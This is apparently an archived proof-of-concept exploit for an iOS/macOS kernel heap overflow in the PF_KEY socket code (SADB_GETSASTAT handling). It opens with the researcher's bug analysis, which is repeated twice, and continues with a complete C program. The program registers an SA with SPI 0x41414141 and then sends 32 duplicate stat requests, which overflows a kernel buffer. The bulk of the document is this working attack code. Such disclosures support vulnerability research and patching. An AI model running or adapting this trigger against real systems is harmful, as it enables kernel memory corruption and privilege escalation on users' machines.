1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 |
/* Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. key_getsastat handles SADB_GETSASTAT messages: It allocates a buffer based on the number of SAs there currently are: bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); It the retrieves the list of SPIs we are querying for, and the length of that list: sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; arg_count = sa_stats_arg->sadb_sastat_list_len; // exit early if there are no requested SAs if (arg_count == 0) { printf("%s: No SAs requested.\n", __FUNCTION__); error = ENOENT; goto end; } res_count = 0; It passes those, and the allocated buffer, to key_getsastatbyspi: if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), arg_count, sa_stats_sav, &res_count)) { The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... Looking at key_getsastatbyspi: static int key_getsastatbyspi (struct sastat *stat_arg, u_int32_tmax_stat_arg, struct sastat *stat_res, u_int32_t *max_stat_res) { int cur, found = 0; if (stat_arg == NULL || stat_res == NULL || max_stat_res == NULL) { return -1; } for (cur = 0; cur < max_stat_arg; cur++) { if (key_getsastatbyspi_one(stat_arg[cur].spi, &stat_res[found]) == 0) { found++; } } *max_stat_res = found; if (found) { return 0; } return -1; } Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT containing multiple requests for that same, valid SPI. Tested on MacOS 10.14.2 (18C54) */ // @i41nbeer #if 0 iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. key_getsastat handles SADB_GETSASTAT messages: It allocates a buffer based on the number of SAs there currently are: bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); It the retrieves the list of SPIs we are querying for, and the length of that list: sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; arg_count = sa_stats_arg->sadb_sastat_list_len; // exit early if there are no requested SAs if (arg_count == 0) { printf("%s: No SAs requested.\n", __FUNCTION__); error = ENOENT; goto end; } res_count = 0; It passes those, and the allocated buffer, to key_getsastatbyspi: if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), arg_count, sa_stats_sav, &res_count)) { The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... Looking at key_getsastatbyspi: static int key_getsastatbyspi (struct sastat *stat_arg, u_int32_tmax_stat_arg, struct sastat *stat_res, u_int32_t *max_stat_res) { int cur, found = 0; if (stat_arg == NULL || stat_res == NULL || max_stat_res == NULL) { return -1; } for (cur = 0; cur < max_stat_arg; cur++) { if (key_getsastatbyspi_one(stat_arg[cur].spi, &stat_res[found]) == 0) { found++; } } *max_stat_res = found; if (found) { return 0; } return -1; } Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT containing multiple requests for that same, valid SPI. Tested on MacOS 10.14.2 (18C54) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/pfkeyv2.h> #if 0 struct sadb_msg { u_int8_t sadb_msg_version; u_int8_t sadb_msg_type; u_int8_t sadb_msg_errno; u_int8_t sadb_msg_satype; u_int16_t sadb_msg_len; // in 8-byte units u_int16_t sadb_msg_reserved; u_int32_t sadb_msg_seq; u_int32_t sadb_msg_pid; }; // extenstion header struct sadb_ext { u_int16_t sadb_ext_len;// 8-byte units u_int16_t sadb_ext_type; }; // SADB_EXT_SA struct sadb_sa { u_int16_t sadb_sa_len; u_int16_t sadb_sa_exttype; u_int32_t sadb_sa_spi; u_int8_t sadb_sa_replay; u_int8_t sadb_sa_state; u_int8_t sadb_sa_auth; u_int8_t sadb_sa_encrypt; u_int32_t sadb_sa_flags; }; // SADB_EXT_ADDRESS_SRC/DST // is this variable sized? struct sadb_address { u_int16_t sadb_address_len; u_int16_t sadb_address_exttype; u_int8_t sadb_address_proto; u_int8_t sadb_address_prefixlen; u_int16_t sadb_address_reserved; }; // SADB_EXT_KEY_AUTH header struct sadb_key { u_int16_t sadb_key_len; u_int16_t sadb_key_exttype; u_int16_t sadb_key_bits;// >> 3 -> bzero u_int16_t sadb_key_reserved; }; // SADB_EXT_SASTAT struct sadb_sastat { u_int16_tsadb_sastat_len; u_int16_tsadb_sastat_exttype; u_int32_tsadb_sastat_dir; u_int32_tsadb_sastat_reserved; u_int32_tsadb_sastat_list_len; /* list of struct sastat comes after */ } __attribute__ ((aligned(8))); struct sastat { u_int32_tspi; /* SPI Value, network byte order */ u_int32_tcreated; /* for lifetime */ struct sadb_lifetime lft_c; /* CURRENT lifetime. */ }; // no need to align #endif struct my_msg { struct sadb_msg hdr; // required options struct sadb_sa sa;// SADB_EXT_SA struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC struct sockaddr_in sockaddr_src; // 0x10 bytes struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST struct sockaddr_in sockaddr_dst; // 0x10 bytes struct sadb_key key; char key_material[128/8]; }; #define N_LIST_ENTRIES 32 struct stat_msg { struct sadb_msg hdr; struct sadb_session_id sid; struct sadb_sastat stat; struct sastat list[N_LIST_ENTRIES]; }; int main() { // get a PF_KEY socket: int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2); if (fd == -1) { perror("failed to get PF_KEY socket, got privs?"); return 0; } printf("got PF_KEY socket: %d\n", fd); struct my_msg* msg = malloc(sizeof(struct my_msg)); memset(msg, 0, sizeof(struct my_msg)); msg->hdr.sadb_msg_version = PF_KEY_V2; msg->hdr.sadb_msg_type = SADB_ADD; msg->hdr.sadb_msg_satype = SADB_SATYPE_AH; msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3; msg->hdr.sadb_msg_pid = getpid(); // SADB_EXT_SA msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3; msg->sa.sadb_sa_exttype = SADB_EXT_SA; // we need to fill in the fields correctly as we need at least one valid key msg->sa.sadb_sa_spi = 0x41414141; msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg // -> 128 bit key size // SADB_EXT_ADDRESS_SRC msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3; msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC; msg->sockaddr_src.sin_len = 0x10; msg->sockaddr_src.sin_family = AF_INET; msg->sockaddr_src.sin_port = 4141; inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr); // SADB_EXT_ADDRESS_DST msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3; msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST; msg->sockaddr_dst.sin_len = 0x10; msg->sockaddr_dst.sin_family = AF_INET; msg->sockaddr_dst.sin_port = 4242; inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr); msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH; msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3; msg->key.sadb_key_bits = 128; size_t amount_to_send = msg->hdr.sadb_msg_len << 3; printf("trying to write %zd bytes\n", amount_to_send); ssize_t written = write(fd, msg, amount_to_send); printf("written: %zd\n", written); struct stat_msg * smsg = malloc(sizeof(struct stat_msg)); memset(smsg, 0, sizeof(struct stat_msg)); smsg->hdr.sadb_msg_version = PF_KEY_V2; smsg->hdr.sadb_msg_type = SADB_GETSASTAT; smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH; smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3; smsg->hdr.sadb_msg_pid = getpid(); // SADB_EXT_SESSION_ID smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3; smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID; // SADB_EXT_SASTAT smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3; smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT; smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES; for (int i = 0; i < N_LIST_ENTRIES; i++) { smsg->list[i].spi = 0x41414141; } amount_to_send = smsg->hdr.sadb_msg_len << 3; printf("trying to write %zd bytes\n", amount_to_send); written = write(fd, smsg, amount_to_send); printf("written: %zd\n", written); return 0; } |